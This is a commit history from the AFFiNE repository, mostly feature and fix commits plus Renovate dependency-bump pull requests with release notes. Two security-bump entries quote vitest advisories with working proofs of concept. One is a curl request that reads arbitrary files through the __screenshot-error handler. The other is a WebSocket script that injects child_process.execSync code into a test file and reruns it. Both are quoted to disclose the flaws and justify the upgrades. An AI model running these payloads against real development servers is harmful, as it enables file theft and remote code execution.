forehalo
4ed03c9f0e
feat(i18n): introduce server error i18n ( #9953 )
...
close AF-2054
2025-02-05 12:30:19 +00:00
renovate
4a943d854e
chore: bump up @vitest/browser version to v3.0.4 [SECURITY] ( #9937 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser )) | [`3.0.2` -> `3.0.4`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.2/3.0.4 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24963](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5 )
### Summary
`__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api ), an attacker can send a request to that handler from remote to get the content of arbitrary files.
### Details
This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system.
f17918a799/packages/browser/src/node/plugin.ts (L88-L130)
This code was added by 2d62051f13 .
### PoC
1. Create a directory and change the current directory to that directory
1. Run `npx vitest init browser`
1. Run `npm run test:browser`
2. Run `curl http://localhost:63315/__screenshot-error?file=/path/to/any/file `
### Impact
Users explicitly exposing the browser mode server to the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api ) may get any files exposed.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (@​vitest/browser)</summary>
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7313 ](https://redirect.github.com/vitest-dev/vitest/issues/7313 ) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d )
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301 )) [<samp>(ef146)</samp>](ef1464fc7b )
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7340 ](https://redirect.github.com/vitest-dev/vitest/issues/7340 ) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7297 ](https://redirect.github.com/vitest-dev/vitest/issues/7297 ) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae )
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7289 ](https://redirect.github.com/vitest-dev/vitest/issues/7289 ) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c )
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7335 ](https://redirect.github.com/vitest-dev/vitest/issues/7335 ) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9 )
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7328 ](https://redirect.github.com/vitest-dev/vitest/issues/7328 ) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7306 ](https://redirect.github.com/vitest-dev/vitest/issues/7306 ) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2 )
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7311 ](https://redirect.github.com/vitest-dev/vitest/issues/7311 ) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56 )
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7291 ](https://redirect.github.com/vitest-dev/vitest/issues/7291 ) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 12:10:12 +00:00
doodlewind
56d604f685
perf(editor): use clipped section for worker bitmap cache ( #9957 )
...
Before (grey area as rendered canvas bitmap):
<img width="1114" alt="image" src="https://github.com/user-attachments/assets/9a209818-c388-4e55-af9b-116f24bd8027 " />
After:
<img width="1103" alt="image" src="https://github.com/user-attachments/assets/1102264a-ec21-4c0c-b4b6-e82a64b1a844 " />
2025-02-05 11:54:03 +00:00
CatsJuice
9bc085ff1b
fix(ios): can't connect to dev server ( #9959 )
2025-02-05 11:39:19 +00:00
renovate
e0dd90108f
chore: bump up @capgo/inappbrowser version to v7 ( #9956 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser ) | [`^6.9.35` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/6.9.35/7.1.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>Cap-go/capacitor-inappbrowser (@​capgo/inappbrowser)</summary>
### [`v7.1.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#716-2025-02-02 )
[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.6 )
### [`v7.1.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#711-2025-01-27 )
[Compare Source](847415fc3b ...7.1.1)
### [`v7.0.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#700-2023-05-24 )
[Compare Source](c1747d61cd ...847415fc3b4c7250e5f6ffb76d75c0c05cf74041)
##### ⚠ BREAKING CHANGES
- capacitor 5
##### Features
- add clearCookie method ([4c5bd3c](4c5bd3c604 ))
- capacitor 5 ([f023b23](f023b230ed ))
- force 0.4 ([1f83751](1f837513c0 ))
##### Bug Fixes
- add missing definition ([8f4084c](8f4084cb04 ))
- better documentation ([fe4ddab](fe4ddab78f ))
- build issue ([b1775db](b1775db824 ))
- build script ([551064c](551064cfa9 ))
- bump major ([803be81](803be81e74 ))
- ci name ([30a9987](30a9987d2d ))
- **deps:** update dependency [@​capacitor/splash-screen](https://redirect.github.com/capacitor/splash-screen ) to v5 ([6039de4](6039de40f0 ))
- **deps:** update dependency com.android.tools.build:gradle to v8.0.1 ([f2741a4](f2741a4565 ))
- **deps:** update dependency com.google.android.material:material to v1.9.0 ([8fe8de0](8fe8de03d1 ))
- finsih config cap 5 ([2b197e8](2b197e81b5 ))
- ios build ([e63cf37](e63cf37096 ))
- lint issue ([cc0d88f](cc0d88f3c6 ))
- missing namespace ([360352e](360352e6ae ))
- versions actions ([d45036d](d45036dae1 ))
### [`v6.9.37`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110 )
[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.36...c1747d61cd1804d09310daa54e42efe4c82dd110 )
### [`v6.9.36`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#6936-2025-01-23 )
[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/6.9.35...6.9.36 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 11:23:57 +00:00
Brooooooklyn
10233f1dbf
fix(admin): migrate tailwindcss config to v4 ( #9940 )
2025-02-05 11:09:58 +00:00
renovate
14fbb8b059
chore: bump up oxlint version to v0.15.9 ( #9922 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs ) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint )) | [`0.15.8` -> `0.15.9`](https://renovatebot.com/diffs/npm/oxlint/0.15.8/0.15.9 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>oxc-project/oxc (oxlint)</summary>
### [`v0.15.9`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.9 ): oxlint v0.15.9
[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.8...oxlint_v0.15.9 )
#### \[0.15.9] - 2025-02-01
##### Features
- [`1a41181`](https://redirect.github.com/oxc-project/oxc/commit/1a41181 ) linter: Implement `eslint/prefer-object-spread` ([#​8216](https://redirect.github.com/oxc-project/oxc/issues/8216 )) (tbashiyy)
- [`adb8ebd`](https://redirect.github.com/oxc-project/oxc/commit/adb8ebd ) linter: Implement no-useless-call rule ([#​8789](https://redirect.github.com/oxc-project/oxc/issues/8789 )) (keita hino)
- [`3790933`](https://redirect.github.com/oxc-project/oxc/commit/3790933 ) linter: Add vitest/prefer-lowercase-title rule ([#​8152](https://redirect.github.com/oxc-project/oxc/issues/8152 )) (Tyler Earls)
- [`e8e6917`](https://redirect.github.com/oxc-project/oxc/commit/e8e6917 ) linter: Unicorn/switch-cases-braces support options ([#​8704](https://redirect.github.com/oxc-project/oxc/issues/8704 )) (1zumii)
##### Bug Fixes
- [`8ce21d1`](https://redirect.github.com/oxc-project/oxc/commit/8ce21d1 ) linter: Can't disable `no-nested-ternary` rule anymore ([#​8600](https://redirect.github.com/oxc-project/oxc/issues/8600 )) (dalaoshu)
- [`e929f26`](https://redirect.github.com/oxc-project/oxc/commit/e929f26 ) linter: Output `LintCommandInfo` for `CliRunResult::LintNoFilesFound` ([#​8714](https://redirect.github.com/oxc-project/oxc/issues/8714 )) (Sysix)
- [`4f30a17`](https://redirect.github.com/oxc-project/oxc/commit/4f30a17 ) linter: Unicorn/switch-case-braces mangles code when applying fix ([#​8758](https://redirect.github.com/oxc-project/oxc/issues/8758 )) (Tyler Earls)
- [`9cc9d5f`](https://redirect.github.com/oxc-project/oxc/commit/9cc9d5f ) linter: `ignorePatterns` does not work when files are provided as command arguments ([#​8590](https://redirect.github.com/oxc-project/oxc/issues/8590 )) (dalaoshu)
- [`1de6f85`](https://redirect.github.com/oxc-project/oxc/commit/1de6f85 ) linter: No-lone-blocks erroring on block statements containing comments ([#​8720](https://redirect.github.com/oxc-project/oxc/issues/8720 )) (Tyler Earls)
- [`77ef61a`](https://redirect.github.com/oxc-project/oxc/commit/77ef61a ) linter: Fix diagnostic spans for `oxc/no-async-await` ([#​8721](https://redirect.github.com/oxc-project/oxc/issues/8721 )) (camchenry)
- [`f15bdce`](https://redirect.github.com/oxc-project/oxc/commit/f15bdce ) linter: Catch `Promise` in `typescript/array-type` rule ([#​8702](https://redirect.github.com/oxc-project/oxc/issues/8702 )) (Rintaro Itokawa)
- [`5041cb3`](https://redirect.github.com/oxc-project/oxc/commit/5041cb3 ) vscode: Fix commands by reverting commit `259a47b` ([#​8819](https://redirect.github.com/oxc-project/oxc/issues/8819 )) (Alexander S.)
##### Performance
- [`d318238`](https://redirect.github.com/oxc-project/oxc/commit/d318238 ) linter: Remove sorting of rules in cache ([#​8718](https://redirect.github.com/oxc-project/oxc/issues/8718 )) (camchenry)
##### Documentation
- [`57b7ca8`](https://redirect.github.com/oxc-project/oxc/commit/57b7ca8 ) ast: Add documentation for all remaining JS AST methods ([#​8820](https://redirect.github.com/oxc-project/oxc/issues/8820 )) (Cam McHenry)
##### Refactor
- [`c2fdfc4`](https://redirect.github.com/oxc-project/oxc/commit/c2fdfc4 ) linter: Correctly handle loose options for `eslint/eqeqeq` ([#​8798](https://redirect.github.com/oxc-project/oxc/issues/8798 )) (dalaoshu)
- [`0aeaedd`](https://redirect.github.com/oxc-project/oxc/commit/0aeaedd ) linter: Support loose options for `eslint/eqeqeq` ([#​8790](https://redirect.github.com/oxc-project/oxc/issues/8790 )) (dalaoshu)
- [`194a5ff`](https://redirect.github.com/oxc-project/oxc/commit/194a5ff ) linter: Remove `LintResult` ([#​8712](https://redirect.github.com/oxc-project/oxc/issues/8712 )) (Sysix)
- [`4a2f2a9`](https://redirect.github.com/oxc-project/oxc/commit/4a2f2a9 ) linter: Move default `all_rules` output to trait ([#​8710](https://redirect.github.com/oxc-project/oxc/issues/8710 )) (Sysix)
- [`741fb40`](https://redirect.github.com/oxc-project/oxc/commit/741fb40 ) linter: Move stdout outside LintRunner ([#​8694](https://redirect.github.com/oxc-project/oxc/issues/8694 )) (Sysix)
- [`10e5920`](https://redirect.github.com/oxc-project/oxc/commit/10e5920 ) linter: Move finishing default diagnostic message to `GraphicalReporter` ([#​8683](https://redirect.github.com/oxc-project/oxc/issues/8683 )) (Sysix)
- [`9731c56`](https://redirect.github.com/oxc-project/oxc/commit/9731c56 ) oxlint: Move output from `CliRunResult::InvalidOption` to outside and use more Enums for different invalid options ([#​8778](https://redirect.github.com/oxc-project/oxc/issues/8778 )) (Sysix)
- [`fe45bee`](https://redirect.github.com/oxc-project/oxc/commit/fe45bee ) oxlint: Create different `CliRunResult` instead of passing `ExitCode` to it ([#​8777](https://redirect.github.com/oxc-project/oxc/issues/8777 )) (Sysix)
- [`2378fef`](https://redirect.github.com/oxc-project/oxc/commit/2378fef ) oxlint: Move ConfigFileInit output outside CliRunResult, exit code 1 when it fails ([#​8776](https://redirect.github.com/oxc-project/oxc/issues/8776 )) (Sysix)
- [`f4cecb5`](https://redirect.github.com/oxc-project/oxc/commit/f4cecb5 ) oxlint: Remove unused `CliRunResult::PathNotFound` ([#​8775](https://redirect.github.com/oxc-project/oxc/issues/8775 )) (Sysix)
##### Testing
- [`ad35e82`](https://redirect.github.com/oxc-project/oxc/commit/ad35e82 ) linter: Use snapshot testing instead of LintResult ([#​8711](https://redirect.github.com/oxc-project/oxc/issues/8711 )) (Sysix)
- [`bf895eb`](https://redirect.github.com/oxc-project/oxc/commit/bf895eb ) linter: Add diagnostic format test snapshots ([#​8696](https://redirect.github.com/oxc-project/oxc/issues/8696 )) (Alexander S.)
- [`34d3d72`](https://redirect.github.com/oxc-project/oxc/commit/34d3d72 ) linter: Add snapshot tester for cli ([#​8695](https://redirect.github.com/oxc-project/oxc/issues/8695 )) (Sysix)
- [`0bf2bcf`](https://redirect.github.com/oxc-project/oxc/commit/0bf2bcf ) oxlint: Test two real rules with same name but from different plugins ([#​8821](https://redirect.github.com/oxc-project/oxc/issues/8821 )) (dalaoshu)
- [`2b83b71`](https://redirect.github.com/oxc-project/oxc/commit/2b83b71 ) oxlint: Improve disabling "no-nested-ternary" tests ([#​8814](https://redirect.github.com/oxc-project/oxc/issues/8814 )) (Alexander S.)
- [`45648e7`](https://redirect.github.com/oxc-project/oxc/commit/45648e7 ) oxlint: Fix InvalidOptionTsConfig tests for windows ([#​8791](https://redirect.github.com/oxc-project/oxc/issues/8791 )) (Alexander S.)
- [`48bfed9`](https://redirect.github.com/oxc-project/oxc/commit/48bfed9 ) oxlint: Ignore windows path mismatch (Boshen)
- [`6f4a023`](https://redirect.github.com/oxc-project/oxc/commit/6f4a023 ) oxlint: Remove "--print-config" test ([#​8792](https://redirect.github.com/oxc-project/oxc/issues/8792 )) (Sysix)
- [`55c2025`](https://redirect.github.com/oxc-project/oxc/commit/55c2025 ) oxlint: Add `CliRunResult` to snapshot ([#​8780](https://redirect.github.com/oxc-project/oxc/issues/8780 )) (Sysix)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 10:54:57 +00:00
forehalo
7ceab1c7da
chore(ios): rebuild ios graphql schema ( #9935 )
2025-02-05 10:27:27 +00:00
forehalo
7826e2b7c8
refactor(server): use feature model ( #9932 )
2025-02-05 10:27:26 +00:00
forehalo
0ff8d3af6f
feat(server): auto create page owner role ( #9944 )
2025-02-05 10:09:57 +00:00
EYHN
5913715e33
fix(ios): fix app crash ( #9955 )
2025-02-05 09:44:54 +00:00
Flrande
c8790d20da
fix(editor): can not add attachment because service not exist ( #9952 )
...

2025-02-05 09:29:24 +00:00
renovate
75c4291325
chore: bump up vitest version to v3.0.5 [SECURITY] ( #9938 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq )
### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
### Details
When [`api` option](https://vitest.dev/config/#api ) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)
This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)
### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.
```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
```
### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (vitest)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes ) in [https://github.com/vitest-dev/vitest/issues/7366 ](https://redirect.github.com/vitest-dev/vitest/issues/7366 ) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd )
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7317 ](https://redirect.github.com/vitest-dev/vitest/issues/7317 ) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34 )
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7336 ](https://redirect.github.com/vitest-dev/vitest/issues/7336 ) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69 )
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7365 ](https://redirect.github.com/vitest-dev/vitest/issues/7365 ) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7313 ](https://redirect.github.com/vitest-dev/vitest/issues/7313 ) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d )
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301 )) [<samp>(ef146)</samp>](ef1464fc7b )
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7340 ](https://redirect.github.com/vitest-dev/vitest/issues/7340 ) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7297 ](https://redirect.github.com/vitest-dev/vitest/issues/7297 ) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae )
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7289 ](https://redirect.github.com/vitest-dev/vitest/issues/7289 ) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c )
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7335 ](https://redirect.github.com/vitest-dev/vitest/issues/7335 ) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9 )
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7328 ](https://redirect.github.com/vitest-dev/vitest/issues/7328 ) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7306 ](https://redirect.github.com/vitest-dev/vitest/issues/7306 ) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2 )
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7311 ](https://redirect.github.com/vitest-dev/vitest/issues/7311 ) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56 )
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7291 ](https://redirect.github.com/vitest-dev/vitest/issues/7291 ) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
</details>
---
### Configuration
